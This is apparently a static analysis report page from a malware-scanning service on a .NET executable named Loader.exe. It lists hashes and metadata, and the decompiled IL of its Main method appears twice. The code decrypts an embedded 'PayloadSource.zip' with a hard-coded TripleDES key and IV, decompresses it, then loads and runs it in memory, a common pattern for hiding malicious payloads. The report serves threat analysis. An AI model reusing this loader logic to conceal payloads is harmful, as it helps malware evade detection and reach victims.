Sign up free
Suspicious
Suspect

b1481e2612c7679b829aebb335120334

Share on LinkedIn
Print
PE Executable
MD5: b1481e2612c7679b829aebb335120334
Size: 328.7 KB
application/x-dosexec

This sample is a 321 KB PE Executable. Malva.RE parsed it statically and found no known malware family, configuration or malicious signature. Static analysis extracted 3 embedded or derived files. It matches 9 YARA rules. Static analysis cannot prove a file is harmless: an unknown or heavily packed threat can go undetected. The file was parsed and decompiled, never executed.

SHA256
258022c9ee70b92625662def214028b4d2a99edab59a9a1e702cd777dbfdb462
MD5
b1481e2612c7679b829aebb335120334
Verdict
No known threat found
File type
PE Executable · 321 KB

Cite this report: https://app.malva.re/sha256/258022c9ee70b92625662def214028b4d2a99edab59a9a1e702cd777dbfdb462

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
328.7 KB · 328,704 B
First seen
2026-11-04 10:30 · an hour ago
Last seen
2026-11-04 10:30 · an hour ago
Last analysis
2026-11-04 10:30 · an hour ago
Hashes
MD5 b1481e2612c7679b829aebb335120334 Sha1 44c2d2164165ecfc058160d7277c92fb4213273c Sha256 258022c9ee70b92625662def214028b4d2a99edab59a9a1e702cd777dbfdb462 Sha384 2d999719ebf95256c84022b4df3073187eea87103e873e31d8b5272c2bf1b073e030eab62a1d08c970e3206f6f2266d2 Sha512 3a2d3523c3d66f6a784d3b4dc9f8463aed301a06d137815daff77e95e77c71c04e66d08b20e3dbf84d1e0e3cf3579711575e8c71ae4c997352ea426e8ddf2190 SSDeep 6144:4ZRJ6IdxBwarTXCcHTGVMLxu+H6DGWESIt+z8WC3iH:SEu3TCIyESY+z8WHH TLSH 4F649D5813ED8A26E6FE62B4E43D040D47FAB61A612EFB4F1A9460FD6C13F8449017B7
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very low

4 files
EXEb1481e2612c7679b829aebb335120334
Structure
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name Value
Info
PDB Path: ?
Module Name
Loader.exe
Full Name
Loader.exe
EntryPoint
System.Void PCLoader::Main()
Scope Name
Loader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Loader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
5
Main Method
System.Void PCLoader::Main()
Main IL Instruction Count
192
Main IL 
call System.Boolean PCLoader::SetProcessDPIAware()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
dup <null>
brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
pop <null>
ldnull <null>
ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs)
newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
ldtoken PCLoader
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
callvirt System.Reflection.Assembly System.Type::get_Assembly()
ldstr PayloadSource.zip
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
leave.s IL_0074: ldstr "r02fOOZEs3BgWwEQ6aOxUwewmen3Cael"
ldloc.s V_5
brfalse.s IL_0073: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr r02fOOZEs3BgWwEQ6aOxUwewmen3Cael
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldstr CaFIYwm49pc=
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.2 <null>
call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create()
stloc.s V_6
ldloc.s V_6
ldloc.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_6
ldloc.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_6
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_6
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
stloc.s V_7
ldloc.s V_7
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.3 <null>
leave.s IL_00E1: ldloc.3
ldloc.s V_7
brfalse.s IL_00D4: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_6
brfalse.s IL_00E0: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.3 <null>
ldc.i4.4 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.4 <null>
sub <null>
newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_9
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_10
ldc.i4 4096
newarr System.Byte
stloc.s V_11
br.s IL_011A: ldloc.s V_9
ldloc.s V_10
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_12
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_11
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
dup <null>
stloc.s V_12
ldc.i4.0 <null>
bgt.s IL_010E: ldloc.s V_10
ldloc.s V_10
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
stloc.s V_4
leave.s IL_015D: ldloc.s V_4
ldloc.s V_10
brfalse.s IL_0144: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_9
brfalse.s IL_0150: endfinally
ldloc.s V_9
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_8
brfalse.s IL_015C: endfinally
ldloc.s V_8
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
br.s IL_01CB: ldloc.s V_14
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
ldc.i4.s 26
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
br.s IL_01BD: ldloc.s V_16
ldloc.s V_15
ldloc.s V_16
ldelem.ref <null>
stloc.s V_17
ldloc.s V_17
callvirt System.Type System.Reflection.MethodInfo::get_ReturnType()
ldtoken System.Void
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Boolean System.Type::op_Equality(System.Type,System.Type)
brfalse.s IL_01B7: ldloc.s V_16
ldloc.s V_17
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
brtrue.s IL_01B7: ldloc.s V_16
ldloc.s V_17
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ret <null>
ldloc.s V_16
ldc.i4.1 <null>
add <null>
stloc.s V_16
ldloc.s V_16
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt.s IL_0183: ldloc.s V_15
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
blt.s IL_0170: ldloc.s V_13
ret <null>
Module Name
Loader.exe
Full Name
Loader.exe
EntryPoint
System.Void PCLoader::Main()
Scope Name
Loader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Loader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
5
Main Method
System.Void PCLoader::Main()
Main IL Instruction Count
192
Main IL 
call System.Boolean PCLoader::SetProcessDPIAware()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
dup <null>
brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
pop <null>
ldnull <null>
ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs)
newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
ldtoken PCLoader
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
callvirt System.Reflection.Assembly System.Type::get_Assembly()
ldstr PayloadSource.zip
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
leave.s IL_0074: ldstr "r02fOOZEs3BgWwEQ6aOxUwewmen3Cael"
ldloc.s V_5
brfalse.s IL_0073: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr r02fOOZEs3BgWwEQ6aOxUwewmen3Cael
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldstr CaFIYwm49pc=
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.2 <null>
call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create()
stloc.s V_6
ldloc.s V_6
ldloc.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_6
ldloc.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_6
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_6
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
stloc.s V_7
ldloc.s V_7
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.3 <null>
leave.s IL_00E1: ldloc.3
ldloc.s V_7
brfalse.s IL_00D4: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_6
brfalse.s IL_00E0: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.3 <null>
ldc.i4.4 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.4 <null>
sub <null>
newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_9
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_10
ldc.i4 4096
newarr System.Byte
stloc.s V_11
br.s IL_011A: ldloc.s V_9
ldloc.s V_10
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_12
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_11
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
dup <null>
stloc.s V_12
ldc.i4.0 <null>
bgt.s IL_010E: ldloc.s V_10
ldloc.s V_10
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
stloc.s V_4
leave.s IL_015D: ldloc.s V_4
ldloc.s V_10
brfalse.s IL_0144: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_9
brfalse.s IL_0150: endfinally
ldloc.s V_9
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_8
brfalse.s IL_015C: endfinally
ldloc.s V_8
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
br.s IL_01CB: ldloc.s V_14
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
ldc.i4.s 26
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
br.s IL_01BD: ldloc.s V_16
ldloc.s V_15
ldloc.s V_16
ldelem.ref <null>
stloc.s V_17
ldloc.s V_17
callvirt System.Type System.Reflection.MethodInfo::get_ReturnType()
ldtoken System.Void
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Boolean System.Type::op_Equality(System.Type,System.Type)
brfalse.s IL_01B7: ldloc.s V_16
ldloc.s V_17
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
brtrue.s IL_01B7: ldloc.s V_16
ldloc.s V_17
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ret <null>
ldloc.s V_16
ldc.i4.1 <null>
add <null>
stloc.s V_16
ldloc.s V_16
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt.s IL_0183: ldloc.s V_15
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
blt.s IL_0170: ldloc.s V_13
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙